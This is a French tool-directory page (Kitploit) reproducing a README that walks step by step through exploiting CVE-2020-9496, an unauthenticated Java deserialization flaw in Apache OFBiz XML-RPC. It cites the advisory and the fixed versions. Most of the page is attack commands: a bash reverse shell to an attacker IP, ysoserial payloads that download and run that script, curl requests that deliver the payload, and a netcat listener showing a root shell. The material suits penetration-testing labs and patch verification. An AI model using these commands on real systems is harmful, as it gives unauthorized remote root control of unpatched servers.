Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-9496 — Exploit manuel pour CVE-2020-9496, une RCE par désérialisation Java non authentifiée dans Apache OFBiz XML-RPC, avec des instructions étape par étape pour la génération de payload et un reverse shell. | Kitploit
Outils/GitHubGitHub/cyber-niz/cve-2020-9496
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubcyber-niz/cve-2020-9496

CVE-2020-9496

Exploit manuel pour CVE-2020-9496, une RCE par désérialisation Java non authentifiée dans Apache OFBiz XML-RPC, avec des instructions étape par étape pour la génération de payload et un reverse shell.

Voir le dépôt
il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-9496 - RCE

Parce que les 2 requêtes liées à xmlrpc dans webtools (xmlrpc et ping) n'utilisent pas d'authentification, elles sont vulnérables à une désérialisation non sécurisée. Ce problème a été signalé à l'équipe de sécurité par Alvaro Munoz [email protected] de l'équipe GitHub Security Lab.

Cette vulnérabilité existe en raison de problèmes de sérialisation Java lors du traitement des requêtes envoyées à /webtools/control/xmlrpc. Un attaquant distant non authentifié peut exploiter cette vulnérabilité en envoyant une requête spécialement conçue. Une exploitation réussie aboutirait à l'exécution de code arbitraire.

Version affectée 17.12.01

Versions corrigées 18.12.01, 17.12.04

Blog original : https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/

Pour que cette POC fonctionne, nous devons déposer un script shell et exécuter/accéder à ce fichier via curl.

ÉTAPE 1 : Créer un fichier shell avec une commande bash en une ligne contenant votre adresse IP et votre port.

root@kitploit:~
$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/1337 0>&1

ÉTAPE 2 : Maintenant, nous devons rendre ce fichier disponible via un service HTTP

root@kitploit:~
$ sudo python3 -m http.server 80

ÉTAPE 3 : Générer la charge utile via ysoserial - Changer l'adresse IP

root@kitploit:~
$ ysoserial CommonsBeanutils1 "wget 10.10.x.x/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

ÉTAPE 4 : Copier la sortie de votre charge utile - chaîne très longue

root@kitploit:~
rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==

ÉTAPE 5 : Utilisez la commande curl ci-dessous pour exécuter notre charge utile. Collez la charge utile après extensions”>

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Commande curl sans charge utile pour référence

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Assurez-vous d'avoir reçu une requête sur le serveur HTTP après l'exécution de la commande curl

root@kitploit:~
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.x.x - - [29/Apr/2021 12:57:07] "GET /shell.sh HTTP/1.1" 200 -

Comme vous pouvez le voir, nous avons reçu une requête sur notre serveur HTTP. Le fichier a été téléchargé dans le répertoire /tmp sous le nom shell.sh. Maintenant, pour exécuter ce fichier, créez à nouveau une charge utile. Mais avant cela, démarrez un écouteur netcat.

ÉTAPE 6 : Démarrer un écouteur NetCat

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...

ÉTAPE 7 : Créer une charge utile pour exécuter le script shell téléchargé précédemment

root@kitploit:~
$ ysoserial CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"

ÉTAPE 8 : Copier et coller la sortie dans la commande curl et l'exécuter

root@kitploit:~
curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

ÉTAPE 10 : Vérifier l'écouteur NetCat pour une connexion inverse

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 60006
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@test:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
Télécharger l’outil